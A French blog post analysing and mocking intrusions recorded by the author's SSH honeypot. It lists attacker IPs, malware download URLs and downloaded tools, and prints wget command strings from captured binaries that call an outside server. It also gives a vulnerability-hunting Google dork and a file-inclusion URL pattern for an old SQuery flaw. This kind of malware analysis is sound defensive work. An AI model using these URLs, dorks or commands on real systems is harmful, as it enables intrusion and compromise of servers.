Making fun of script kiddies
Sunday, February 12, 2012 2:43:16 PM
Analyser les logs de mon honeypot SSH est semble t-il devenu ma nouvelle occupation du dimanche

Je m'amuse souvent à observer les erreurs et l'incompétence de ces visiteurs qui donnent souvent l'impression de taper des commandes sans savoir réellement ce qu'elles font.
Déjà rien qu'au nouveau des mots de passe utilisés pour les attaques brute-force des comptes SSH ça vaut le coup d'œil !
Là où une personne normalement constituée utiliserait les mots de passe les plus fréquents pour gagner du temps et augmenter ses chances de réussite, certains des intrus se bornent à utiliser une liste de mots de passe "from outter space" dont on peut être sur que le nombre d'utilisateurs de ces mots de passe se comptent sur les doigts d'une main à travers la planète !
Résultats : ils passent 2 heures à tenter de casser un compte sans y parvenir alors que le mot de passe du honeypot est 123456, soit le mot de passe connu pour être le plus utilisé dans le monde entier...
Dans cette faune très particulière on trouve aussi ceux qui sentent le besoin de "taguer" leurs visites en ajoutant dans la liste de leurs mots de passe un message avec leur pseudo ou le nom de leur team de script-kiddies...
Le pire c'est de se dire qu'ils ont conscience qu'ils peuvent être surveillés mais semble pourtant tout ignorer de l'existence des honeypots.
Enfin, autre perle rencontrée une fois : l'attaquant a certes une liste de mots de passe valides mais manque de bol (pour être gentil), le fichier n'est pas formaté comme il faut pour le logiciel de brute-force.
Le soft en question est bien-sûr compilé pour Linux mais la pass-list est formatée avec retour charriot à la mode windows, le pseudo hacker ne l'ayant pas converti avec unix2dos... Résultat au lieu d'envoyer le mot de passe 123456 il envoit 123456^V et ainsi de suite pour toute sa liste

Mais passons l'introduction et entrons dans le vif du sujet avec mes dernières visites

Attaque 1
De toute évidence des hackers roumains. Les attaques brute-force SSH sont très en vogue chez eux.
Cassage du mot de passe réussie avec l'adresse IP 202.131.124.10. S'ensuit une connexion directe par l'IP 94.144.63.2.
Le visiteur rappatrie l'archive http://gr4n34.110mb.com/zyz.tgz.
On y trouve un log-cleaner très peu discret, codé par un débutant. L'outil se nomme "LOG/Rest Cleaner by zYztem @ v1".
Espérons qu'il aura appris la programmation avant de sortir la version 2

Il télécharge ensuite l'archive http://gr4n34.110mb.com/fake.tgz contenant un script qui ajouter un user "ftpd". Il récupère aussi un fichier sudoers depuis l'adresse 82.77.140.6/live/sudoers (qui ne répond pas).
L'opération est très peu discrète et peut être catastrophique car il supprime le précédent fichier sudoers pour mettre le sien à la place... Pas mieux pour se faire remarquer.
Après une rapide recherche sur google je détermine que l'IP qui ne fonctionne plus correspond au site underworld.homeunix.org.
Un peu de google dorking de plus et on parvient à obtenir la liste des supers tools (mouarf) présentes sur le site... du code archi-connu détecté par tous les AVs dans le style bot irc tsunami/kaiten, script de flood udp.pl, mirc, psybnc, energymech & co.
Circulez, il n'y a rien à voir !
Attaque 2
Brute force provenant de 115.110.25.58 et suivi dans la foulée d'une cnx directe par 216.166.47.148.
Téléchargement de l'archive http://irc1.at.ua/bot.tgz qui contient un energymech et ses fichiers de conf, l'éditeur de texte pico que les script-kiddies semblent ettement apprécier et un programme mystérieux dénommé "stealth".
Quand on lance un strings sur le binaire on trouve notamment la chaine "This tool is extremely dangerous. Use at your own risk!".
Une recherche sur Google révèle que le programme a déjà été retrouvé sur des serveurs et que niveau discrétion on trouve mieux puisque une fois lancé il arrive rapidement à utilisation de 100% du CPU !
Mais alors que fait ce programme extrêmement dangereux ?
C'est là que ça devient drôle : une fois désassemblé on se rend compte que le proggie se connecte à un serveur et un port pris en argument et envoie en boucle la chaine "0123456789ABCDE"

J'en ai encore mal aux abdos rien que d'y penser

Attaque 3
L'intrus récupère un logcleaner du même acabit que le précédent. On trouve dedans les chaines Dark LogRemover Version 1.0, Coded by Darker et Macedonian Dark Security.
Sans intérêts...
Attaque 4
Connexion directe (le mdp a été cassé précédemment) provenant de l'IP 79.115.143.213 puis récupération de l'archive http://ripkid.altervista.org/smtp.tgz.
On y retrouve le classique syn-scanner détecté par AVG comme Linux/Shark.A, compilé statiquement avec la librairie pcap et strippé.
Ce qui est intéressant ce sont deux scripts perl présents : le fichier start récupère les résultats de scans effectues sur le port 25 et lance en parallèle (jusqu'à 200 processus) un script perl 'process' qui brute force des comptes pop3 (basé sur l'utilisation d'un fichier users.txt contenant des credentials).
Ça nous change un peu du tout SSH et d'après les logs c'est relativement fructueux. Certaines personnes sont peu regardantes sur la sécurité de leurs comptes mails (surtout si le compte est utilisé pour des pubs etc)
Du coup j'ai posté les deux scripts sur paste 2 :
http://paste2.org/p/1886657
http://paste2.org/p/1886658
Attaque 5
Le petit curieux récupère l'archive http://www.grigoreworld.com/marius/bnc.jpg destinée à être extraite dans /dev/shm.
Elle contient un psybnc (binaire nommé -bash) + un fichier crontab pour le lancer régulièrement.
Il contient un script perl nommé "target" qui est un bot IRC (en plus du psybnc) capable de lancer
des attaques DoS très très (mais alors vraiment très) basiques et faire des recherches spécifiques sur google du type
"inurl:modules.php?name=SQuery site:.com" (avec le tld changeant selon une liste prédéfinie).
Il s'agit d'un google dork pour une faille datant... de juillet 2006. M'est avis que sur les sites faillibles il n'y a que le train qui n'est pas passé.
Le script perl est détecté comme PERL/ShellBot par AVG et ClamAV.
Attaque 6
Rien d'intéressant. Téléchargement d'un fichier fox.tgz qui créé un dossier "/usr/share/locale/jp/. /" où se place un energymech que AVG détecte comme Linux/Mech.A + un script pour l'ajouter à la crontab. Bref que du déjà vu.
Attaque 7
Ni plus ni moins que l'attaque 5...
L'archive bo.tgz contient le shellbot.pl qui exploite la faille SQuery avec une url du type /SQuery/lib/gore.php?libpath=
J'ai mis le script sur paste2 pour les curieux.
Attaque 8
On a ici affaire à du top niveau
(oui je suis taquin)Le pirate que j'ai baptisé "jess" a l'adresse IP 46.166.157.164.
A peu près tout son matus est détecté par les antivirus :
Linux/Shark.A : le classique synscanner
Linux/Sshscan.A : l'outil de brute force ssh
sans compter le scanner tcp pscan2 infecté par Trojan.Linux.RST.b (incroyable qu'on trouve encore des binaires infectés par RST après autant d'années).
Le script bash baptisé "scam" est une horreur de programmation. Notons juste qu'il envoi des données vers l'adresse mail mafia89tm@yahoo.com.
Un essaye de récupérer un fichier tgz... seulement l'url n'est pas bonne ou le site fermé ou une autre raison... peu importe.
Ce qui est drôle c'est qu'il ne s'étonne pas de voir wget lui indiquer que le fichier fait 3Ko et est de type text/html... forcément quand il tente d'extraite l'archive avec tar ça ne pas fonctionner...
Il va pourtant taper 4 fois la même commande pour essayer de faire une opération impossible.
C'est tellement bon que j'en ai fait une capture postée sur Vimeo.
Mais Jess n'est pas du genre à abandonner... Il revient donc à la charge... Et il a... UNE AUTRE URL !
Mais manque de bol (décidément) ça ne fonctionne pas plus... Qui plus est il déclenche un petit message que j'ai rajouté à Kippo à l'attention de certains de mes visiteurs.
Du coup, pris de panique il se déconnecte. C'est en vidéo ici

Là on se dit qu'il a compris qu'il est sur un honeypot. Il faudrait vraiment être c** pour ne pas s'en rendre compte.
Pourtant, 4 jours plus tard, sans doute le temps de travailler ses skills en wget, il revient avec l'IP 93.104.129.190 et récupère l'archive csservers.ro/redirecte_linux_v2.0.tar.gz et ça marche \o/
L'archive contient des binaires visiblement codés en C++ qui contiennent les strings suivantes :
wget --quiet -O - http://www.csservers.ro/mod.php?qwerty=%s/%s/%d
wget --quiet -O - http://www.csservers.ro/harta.php?asdfg=%s/%d
wget --quiet -O - http://www.csservers.ro/valoare_update.php
Le site http://www.csservers.ro/ semble destiné au jeu Counter Strike. J'analyserais plus en détail les binaires quand j'aurais le temps ;-)
